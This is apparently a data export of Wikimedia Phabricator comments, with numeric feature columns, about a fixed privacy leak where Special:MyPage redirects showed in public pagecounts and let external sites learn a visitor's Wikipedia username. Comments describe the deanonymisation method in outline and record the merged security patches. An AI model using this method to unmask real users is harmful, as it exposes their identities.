(When JavaScript is enabled, why use the History API to dynamically rewrite the address bar to be what we'd previously redirect to.)",,,1549652915,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,188,True,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,4.0,0.0,2.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,13.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,3.0,20.0,4.0,1.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,9.0,12.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,5.0,3.681318681318681,0.7032967032967034,"To confirm that this is working as intended:

1. Open private/incognito window.
2. Disable JavaScript (e.g. Dev Tools, cmd+shift+P, Disable J.., accept).
3. Load <URL

Expected result: Confirm that you see CODE in the title, but address bar still shows CODE.

(When JavaScript is enabled, why use the History API to dynamically rewrite the address bar to be what we'd previously redirect to.)"
591260,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1939021, @Nemo_bis wrote:
>>>! In T109724#1892727, @xcombelle wrote:
>> That depend on which stats you are looking http://en.wikipedia.org/wiki/User:Xavier_Combelle/TriggerInLog doesn't exist and it appears in http://stats.grok.se/en/201508/User:Xavier_Combelle/TriggerInLog
> 
> Yes, that used to happen but no longer does AFAIK. See the link I provided.

Even if it's right,  http://en.wikipedia.org/wiki/User:Xavier_Combelle or  http://en.wikipedia.org/wiki/Talk_User:Xavier_Combelle probably exists and by doing enough request to these pages a similar leak could be reached.",,,1452954278,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,28,True,0.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,21.0,3.0,5.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,8.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.5,0.7631578947368421,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Even if it's right,  URL or  URL probably exists and by doing enough request to these pages a similar leak could be reached."
591253,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1892727, @xcombelle wrote:
> That depend on which stats you are looking http://en.wikipedia.org/wiki/User:Xavier_Combelle/TriggerInLog doesn't exist and it appears in http://stats.grok.se/en/201508/User:Xavier_Combelle/TriggerInLog

Yes, that used to happen but no longer does AFAIK. See the link I provided.",,,1452948028,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,28,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,5.0,0.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,27.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,5.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.3636363636363638,0.9090909090909091,"QUOTE
QUOTE

Yes, that used to happen but no longer does AFAIK. See the link I provided."
581593,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1889830, @Nemo_bis wrote:
>> A request to Special:MyPage/ccvhjhdkjvkvkhjhkvkjvdh appears in the pagecounts as a visit to User:Xavier_Combelle/ccvhjhdkjvkvkhjhkvkjvdh
> 
> I'm not convinced of the proposed solution. Why downgrade MediaWiki functionality because of an information leak in Wikimedia Foundation infrustructure? I'd rather reverse the burden: we could just stop counting one visit to ""User:Xavier_Combelle/ccvhjhdkjvkvkhjhkvkjvdh"" and instead add 1 to 
> ""Special:MyPage/ccvhjhdkjvkvkhjhkvkjvdh"".
> 
> We stopped counting the 302'ing special pages after https://meta.wikimedia.org/wiki/Research_talk:Page_view/Archive_1#Special_namespace_and_actual_problems . It doesn't seem impossible to do the opposite (under some condition):
>> how would the definition count redirects? Only towards the redirect source, only to the target, both, or some other scheme? --QChris (WMF) (talk) 11:33, 23 October 2014 (UTC)

Apart the fact that it is not really a downgrade of functionality, as the redirect still work as @matmarex pointed, It is not possible to log the target of a redirect differently unless you add a special parameter. (There is no difference between a http request from a redirect than from a direct one) This solution was envisioned and eventually discarded, ",,,1450530598,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,24,True,0.0,0.0,0.0,1.0,2.0,4.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,13.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,13.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,15.0,2.0,1.0,13.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,4.0,13.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.2317073170731705,0.6463414634146342,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Apart the fact that it is not really a downgrade of functionality, as the redirect still work asSCREEN_NAME pointed, It is not possible to log the target of a redirect differently unless you add a special parameter. (There is no difference between a http request from a redirect than from a direct one) This solution was envisioned and eventually discarded, "
581592,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1889831, @Nemo_bis wrote:
> Also, the description of the problem lacks one step: the attacker first needs to create ""User:Xavier_Combelle/ccvhjhdkjvkvkhjhkvkjvdh"" (presumably by creating such a subpage for all users of a wiki?) because 404 are excluded: https://meta.wikimedia.org/wiki/Research:Page_view#Step_1:_apply_general_filters

That depend on which stats you are looking http://en.wikipedia.org/wiki/User:Xavier_Combelle/TriggerInLog doesn't exist and it appears in http://stats.grok.se/en/201508/User:Xavier_Combelle/TriggerInLog

Moreover an existing ""User:Xavier_Combelle"" would be enough, just by requesting enough time would appear as an anomaly in attack ",,,1450529967,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,24,True,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,2.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,9.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,17.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,11.0,9.0,0.0,4.0,0.0,4.0,0.0,4.0,4.0,0.0,7.0,0.0,0.0,0.0,4.173913043478261,0.8260869565217391,"QUOTE
QUOTE

That depend on which stats you are looking URL doesn't exist and it appears in URL

Moreover an existing ""User:Xavier_Combelle"" would be enough, just by requesting enough time would appear as an anomaly in attack "
581162,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1889830, @Nemo_bis wrote:
>> A request to Special:MyPage/ccvhjhdkjvkvkhjhkvkjvdh appears in the pagecounts as a visit to User:Xavier_Combelle/ccvhjhdkjvkvkhjhkvkjvdh
> 
> I'm not convinced of the proposed solution. Why downgrade MediaWiki functionality because of an information leak in Wikimedia Foundation infrustructure?

I don't think we downgraded anything here. If it wasn't for the `$query` bug, I wouldn't have noticed anything changed in the weeks this was deployed to WMF production. If anything, it's probably more efficient to do it this way.",,,1450445013,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,24,True,0.0,5.0,0.0,2.0,5.0,2.0,2.0,0.0,0.0,4.0,2.0,5.0,0.0,0.0,0.0,5.0,0.0,11.0,11.0,5.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,18.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,11.0,7.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.7017543859649122,0.631578947368421,"QUOTE
QUOTE
QUOTE
QUOTE

I don't think we downgraded anything here. If it wasn't for the CODE bug, I wouldn't have noticed anything changed in the weeks this was deployed to WMF production. If anything, it's probably more efficient to do it this way."
581122,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Change 259952 merged by jenkins-bot:
Add $query to JavaScript redirect info

[[https://gerrit.wikimedia.org/r/259952]]",,,1450432872,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.727272727272727,0.9090909090909091,"Change 259952 merged by jenkins-bot:
Add $query to JavaScript redirect info

[[GERRIT_URL]]"
581119,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Change 259951 merged by jenkins-bot:
SECURITY: Make Special:MyPage and friends fake redirect to prevent info leak

[[https://gerrit.wikimedia.org/r/259951]]",,,1450432657,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,24,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.9655172413793105,0.8620689655172413,"Change 259951 merged by jenkins-bot:
SECURITY: Make Special:MyPage and friends fake redirect to prevent info leak

[[GERRIT_URL]]"
581072,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Also, the description of the problem lacks one step: the attacker first needs to create ""User:Xavier_Combelle/ccvhjhdkjvkvkhjhkvkjvdh"" (presumably by creating such a subpage for all users of a wiki?) because 404 are excluded: https://meta.wikimedia.org/wiki/Research:Page_view#Step_1:_apply_general_filters",,,1450422697,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,24,True,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,9.0,2.0,0.0,16.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,13.0,7.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,4.377777777777778,0.8444444444444444,"Also, the description of the problem lacks one step: the attacker first needs to create ""User:Xavier_Combelle/ccvhjhdkjvkvkhjhkvkjvdh"" (presumably by creating such a subpage for all users of a wiki?) because 404 are excluded: URL"
581071,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"> A request to Special:MyPage/ccvhjhdkjvkvkhjhkvkjvdh appears in the pagecounts as a visit to User:Xavier_Combelle/ccvhjhdkjvkvkhjhkvkjvdh

I'm not convinced of the proposed solution. Why downgrade MediaWiki functionality because of an information leak in Wikimedia Foundation infrustructure? I'd rather reverse the burden: we could just stop counting one visit to ""User:Xavier_Combelle/ccvhjhdkjvkvkhjhkvkjvdh"" and instead add 1 to 
""Special:MyPage/ccvhjhdkjvkvkhjhkvkjvdh"".

We stopped counting the 302'ing special pages after https://meta.wikimedia.org/wiki/Research_talk:Page_view/Archive_1#Special_namespace_and_actual_problems . It doesn't seem impossible to do the opposite (under some condition):
> how would the definition count redirects? Only towards the redirect source, only to the target, both, or some other scheme? --QChris (WMF) (talk) 11:33, 23 October 2014 (UTC)",,,1450422574,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,24,True,1.0,0.0,0.0,0.0,2.0,5.0,0.0,1.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,5.0,0.0,7.0,11.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,0.0,1.0,1.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,2.0,1.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,6.0,11.0,9.0,1.0,5.0,0.0,6.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,4.75,0.7727272727272727,"QUOTE

I'm not convinced of the proposed solution. Why downgrade MediaWiki functionality because of an information leak in Wikimedia Foundation infrustructure? I'd rather reverse the burden: we could just stop counting one visit to ""User:Xavier_Combelle/ccvhjhdkjvkvkhjhkvkjvdh"" and instead add 1 to 
""Special:MyPage/ccvhjhdkjvkvkhjhkvkjvdh"".

We stopped counting the 302'ing special pages after URL . It doesn't seem impossible to do the opposite (under some condition):
QUOTE"
581055,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Change 259934 merged by Reedy:
Add $query to JavaScript redirect info

[[https://gerrit.wikimedia.org/r/259934]]",,,1450402535,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.8,0.9,"Change 259934 merged by Reedy:
Add $query to JavaScript redirect info

[[GERRIT_URL]]"
581054,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Change 259933 merged by Reedy:
SECURITY: Make Special:MyPage and friends fake redirect to prevent info leak

[[https://gerrit.wikimedia.org/r/259933]]",,,1450402522,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,24,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.037037037037037,0.8518518518518519,"Change 259933 merged by Reedy:
SECURITY: Make Special:MyPage and friends fake redirect to prevent info leak

[[GERRIT_URL]]"
581048,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Change 259910 merged by Reedy:
Add $query to JavaScript redirect info

[[https://gerrit.wikimedia.org/r/259910]]",,,1450402386,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.8,0.9,"Change 259910 merged by Reedy:
Add $query to JavaScript redirect info

[[GERRIT_URL]]"
581047,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Change 259943 merged by Chad:
Add $query to JavaScript redirect info

[[https://gerrit.wikimedia.org/r/259943]]",,,1450402385,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.75,0.9,"Change 259943 merged by Chad:
Add $query to JavaScript redirect info

[[GERRIT_URL]]"
581046,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Change 259909 merged by Reedy:
SECURITY: Make Special:MyPage and friends fake redirect to prevent info leak

[[https://gerrit.wikimedia.org/r/259909]]",,,1450402369,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,24,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.037037037037037,0.8518518518518519,"Change 259909 merged by Reedy:
SECURITY: Make Special:MyPage and friends fake redirect to prevent info leak

[[GERRIT_URL]]"
581045,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Change 259942 merged by Chad:
SECURITY: Make Special:MyPage and friends fake redirect to prevent info leak

[[https://gerrit.wikimedia.org/r/259942]]",,,1450402366,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,24,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.8518518518518519,"Change 259942 merged by Chad:
SECURITY: Make Special:MyPage and friends fake redirect to prevent info leak

[[GERRIT_URL]]"
581026,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Change 259921 merged by Chad:
Add $query to JavaScript redirect info

[[https://gerrit.wikimedia.org/r/259921]]",,,1450400853,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.75,0.9,"Change 259921 merged by Chad:
Add $query to JavaScript redirect info

[[GERRIT_URL]]"
581025,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Change 259920 merged by Chad:
SECURITY: Make Special:MyPage and friends fake redirect to prevent info leak

[[https://gerrit.wikimedia.org/r/259920]]",,,1450400839,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,24,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.8518518518518519,"Change 259920 merged by Chad:
SECURITY: Make Special:MyPage and friends fake redirect to prevent info leak

[[GERRIT_URL]]"
581001,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Change 259952 had a related patch set uploaded (by Chad):
Add $query to JavaScript redirect info

[[https://gerrit.wikimedia.org/r/259952]]
",,,1450399247,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,24,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.6666666666666665,0.8888888888888888,"Change 259952 had a related patch set uploaded (by Chad):
Add $query to JavaScript redirect info

[[GERRIT_URL]]
"
581000,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Change 259951 had a related patch set uploaded (by Chad):
SECURITY: Make Special:MyPage and friends fake redirect to prevent info leak

[[https://gerrit.wikimedia.org/r/259951]]
",,,1450399246,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,24,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.8823529411764706,0.8823529411764706,"Change 259951 had a related patch set uploaded (by Chad):
SECURITY: Make Special:MyPage and friends fake redirect to prevent info leak

[[GERRIT_URL]]
"
565931,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"> {F2977061}

LGTM. Deployed.

